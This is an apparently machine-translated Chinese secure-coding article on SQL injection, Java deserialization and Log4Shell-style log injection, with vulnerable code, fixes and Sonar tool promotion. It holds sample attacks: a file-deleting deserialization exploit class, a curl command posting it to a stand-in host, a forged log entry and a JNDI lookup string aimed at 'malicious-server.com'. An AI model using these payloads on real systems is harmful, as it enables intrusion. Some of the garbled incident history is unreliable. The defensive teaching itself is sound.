目前隐藏在代码中的主要安全缺陷 - 以及如何修复它们
2024-09-04 20:25:00
据报道,2019 年度著名游戏《堡垒之夜》中的一个著名漏洞使数百万玩家面临恶意软件攻击的风险。这一事件突出了正确保护 sql 数据库安全的重要性。
但这不是一个孤立的问题。
涉及 sql 多次注射攻击已经发生,就像特斯拉在那里一样 2018 年经历的那样。当时,另一场比赛 sql 注射攻击影响特斯拉 kubernetes 控制台导致未经授权的加密货币采矿活动造成经济损失。
但这不仅仅是关于 sql 注入。
你的代码现在可能会遭受其他攻击媒体,就像大公司过去遭受的攻击一样。
2021 年 log4j 库中名为 log4shell 到目前为止,日志注入攻击已经影响到全球数百万台服务器,或者 2022 年 atlassian jira 攻击涉及多个影响 jira 反序列化攻击的版本导致所有数据失去对攻击者的控制。
它可能发生在任何人身上,甚至是你身上。
在本文中,我将讨论代码中最常见的代码 3 种攻击:sql 注入、反序列化注入和日志注入,以及如何解决它们。
sql注入存储在数据库中的信息的应用程序通常使用户生成的值来检查权限、存储信息或简单地检索存储在表、文档、点、节点等中的数据。
此时,当我们的应用程序使用这些值时,不当使用可能会允许攻击者引入发送到数据库的额外查询,以检索不允许的值,甚至修改这些表以获得访问权限。
以下代码根据登录页面中提供的用户名从数据库中检索用户。一切似乎都很好。
public list findusers(string user, string pass) throws exception { string query = "select userid from users " + "where username='" + user + "' and password='" + pass + "'"; statement statement = connection.createstatement(); resultset resultset = statement.executequery(query); list users = new arraylist(); while (resultset.next()) { users.add(resultset.getstring(0)); } return users; }
然而,当攻击者使用注入技术时,使用字符串插值的代码会导致意想不到的结果,从而允许攻击者登录应用程序。
为了解决这个问题,我们将这种方法从使用字符串连接改为注入参数。事实上,字符串连接在性能和安全性方面通常是一个坏主意。
string query = "select userid from users " + "where username='" + user + "' and password='" + pass + "'";
将 sql 将字符串中直接包含的参数值改为我们以后可以引用的参数,以解决查询被黑的问题。
string query = "select userid from users where username = ? and password = ?";
我们的固定代码将如下所示,包括preparestatement和每个参数的值设置。
public list findusers(string user, string pass) throws exception { string query = "select userid from users where username = ? and password = ?"; try (preparedstatement statement = connection.preparestatement(query)) { statement.setstring(1, user); statement.setstring(2, pass); resultset resultset = statement.executequery(query); list users = new arraylist(); while (resultset.next()) { users.add(resultset.getstring(0)); } return users; } }
你可以在这里找到帮助检测 sql 注入漏洞的 sonarqube 和 sonarcloud 规则
反序列化注入反序列化是将数据从序列化格式(如字节流、字符串或文件)转换回可用于程序的对象或数据结构的过程。
常用的反序列化方法包括以下内容 json 结构的形式是 api 和 web 在现代应用程序中,服务之间发送数据 protobuf 以消息的形式使用 rpc(远程过程调用)。
如果不执行清理或检查步骤,将有效的消息负载转换为对象可能涉及严重的漏洞。
protected void doget(httpservletrequest request, httpservletresponse response) { servletinputstream servletis = request.getinputstream(); objectinputstream objectis = new objectinputstream(servletis); user user = (user) objectis.readobject(); } class user implements serializable { private static final long serialversionuid = 1l; private string name; public user(string name) { this.name = name; } public string getname() { return name; } }
我们可以在这里看到我们正在使用它 objectis,这是用户在请求输入流中的直接值,并将其转换为新对象。 我们希望这个值永远是我们的应用程序之一。当然,我们的客户永远不会发送任何其他东西,对吧?他们会吗?
但是如果恶意客户端在请求中发送另一个类别呢?
public class exploit implements serializable { private static final long serialversionuid = 1l; public exploit() { // malicious action: delete a file try { runtime.getruntime().exec("rm -rf /tmp/vulnerable.txt"); } catch (exception e) { e.printstacktrace(); } } }
在这种情况下,我们有一个类在默认构造函数期间删除文件,这将在以前 readobject 发生在调用中。
攻击者只需要序列化这一类,并将其发送到 api :
exploit exploit = new exploit(); fileoutputstream fileout = new fileoutputstream("exploit.ser"); objectoutputstream out = new objectoutputstream(fileout); out.writeobject(exploit); ... $ curl -x post --data-binary @exploit.ser http://vulnerable-api.com/user
幸运的是,解决这个问题有一个简单的方法。在创建对象之前,我们需要检查要反序列化的类别是否来自允许的类型之一。
在上述代码中,我们创建了一个新的代码 objectinputstream,包括类名检查在内的“resolveclass“方法。我们使用这个新类别。 secureobjectinputstream 获取对象流。但在将流读到对象(用户)之前,我们将检查允许列表。
public class secureobjectinputstream extends objectinputstream { private static final set allowed_classes = set.of(user.class.getname()); @override protected class resolveclass(objectstreamclass osc) throws ioexception, classnotfoundexception { if (!allowed_classes.contains(osc.getname())) { throw new invalidclassexception("unauthorized deserialization", osc.getname()); } return super.resolveclass(osc); } } ... public class requestprocessor { protected void doget(httpservletrequest request, httpservletresponse response) { servletinputstream servletis = request.getinputstream(); objectinputstream objectis = new secureobjectinputstream(servletis); user input = (user) objectis.readobject(); } }
这里可以找到帮助检测反序列化注入漏洞的帮助 sonarcloud/sonarqube 和 sonarlint 规则
记录注入日志系统是记录应用程序、系统或设备生成的事件、信息和其他数据的软件组件或服务。日志对软件和系统的行为和性能的监控、故障排除、审计和分析至关重要。
通常,这些应用程序会记录失败、登录尝试甚至成功,以帮助调试最终出现问题。
但它们也可能成为攻击媒介。
日志注入是一个安全漏洞,攻击者可以通过向日志文件注入恶意输入来操纵日志文件。如果日志没有得到适当的清理,可能会导致一些安全问题。
当攻击者修改日志内容以破坏日志内容或添加虚假信息以使其难以分析或破坏日志分析器时,我们可以发现日志伪造和污染等问题,以及日志管理系统的漏洞。攻击者将发现日志管理系统的漏洞注入日志,使用日志管理系统中的漏洞,导致进一步攻击,如远程代码执行。
让我们考虑下面的代码,我们从用户那里得到一个值并记录下来。
public void doget(httpservletrequest request, httpservletresponse response) { string user = request.getparameter("user"); if (user != null){ logger.log(level.info, "user: {0} login in", user); } }
看上去无害吧?
但如果攻击者试图使用这个用户登录怎么办?
john login in\n2024-08-19 12:34:56 info user 'admin' login in
这显然是一个错误的用户名,并且会失败。然而,它将被记录下来,检查日志的人会感到非常困惑
2024-08-19 12:34:56 info user 'john' login in 2024-08-19 12:34:56 error user 'admin' login in
或者更糟!如果攻击者知道系统是未修复的 log4j 该版本可以作为用户发送以下值,系统将远程执行。攻击者控制 ldap 通过恶意托管远程服务器的服务器 java 类引用响应。易受攻击的应用程序下载并执行此类应用程序,使攻击者能够控制服务器。
$ { jndi:ldap://malicious-server.com/a}
但我们可以很容易地预防这些问题。
清理记录的值对于避免日志伪造漏洞非常重要,因为它可能会导致用户伪造的输出混乱。
// log the sanitised username string user = sanitiseinput(request.getparameter("user")); } private string sanitiseinput(string input) { // replace newline and carriage return characters with a safe placeholder if (input != null) { input = input.replaceall("[\\n\\r]", "_"); } return input; }
如下所示,我们将在日志中看到,现在我们可以更容易地看到,所有的日志都属于同一个调用日志系统。
2024-08-19 12:34:56 info user 'john' login in_2024-08-19 12:34:56 error user 'admin' login in
为了防止日志系统被使用,将我们的库尽可能地更新到最新的稳定版本是非常重要的。对于 log4j,该功能将被禁止进行修复。我们也可以手动禁用它。 jndi。
-dlog4j2.formatmsgnolookups=true
若仍需使用 jndi,因此,只要根据允许的目的地列表检查目的地,常见的清理过程就可以避免恶意攻击。
public class allowedlistjndicontextfactory implements initialcontextfactory { // define your list of allowed jndi urls private static final list allowed_jndi_prefixes = arrays.aslist( "ldap://trusted-server.com", "ldaps://secure-server.com" ); @override public context getinitialcontext(hashtable environment) throws namingexception { string providerurl = (string) environment.get(context.provider_url); if (isallowed(providerurl)) { return new initialcontext(environment); } else { throw new namingexception("jndi lookup " + providerurl + " not allowed"); } } private boolean isallowed(string url) { if (url == null) { return false; } for (string allowedprefix : allowed_jndi_prefixes) { if (url.startswith(allowedprefix)) { return true; } } return false; } }
并配置我们的系统用于过滤上下文工厂。
-Djava.naming.factory.initial=com.yourpackage.AllowedlistJndiContextFactory
您可以在这里找到帮助检测日志注入漏洞的帮助 sonarcloud/sonarqube 和 sonarlint 规则
结论安全漏洞不仅是理论问题,而且影响了大公司的实际威胁,造成了重大的财务和声誉损失。
从 sql 注入反序列化和日志记录,这些攻击媒介很常见,如果处理不当,很容易使用不安全的代码。
开发人员可以通过了解这些漏洞的性质,实施建议的修复程序,如使用参数查询,避免不安全的反序列实践,并正确保护日志框架,显著降低这些攻击的风险。
主动安全措施对下一个受害者来说非常重要,他们可以保护你的应用程序免受这些广泛和破坏性的攻击。
sonar 提供免费开源工具,如 sonarlint、sonarqube 和 sonarcloud,所有这些漏洞都可以检测和警告,并提出修复建议。
以上是隐藏在代码中的主要安全缺陷 - 以及如何修复它们的详细信息,请关注图灵教育的其他相关文章!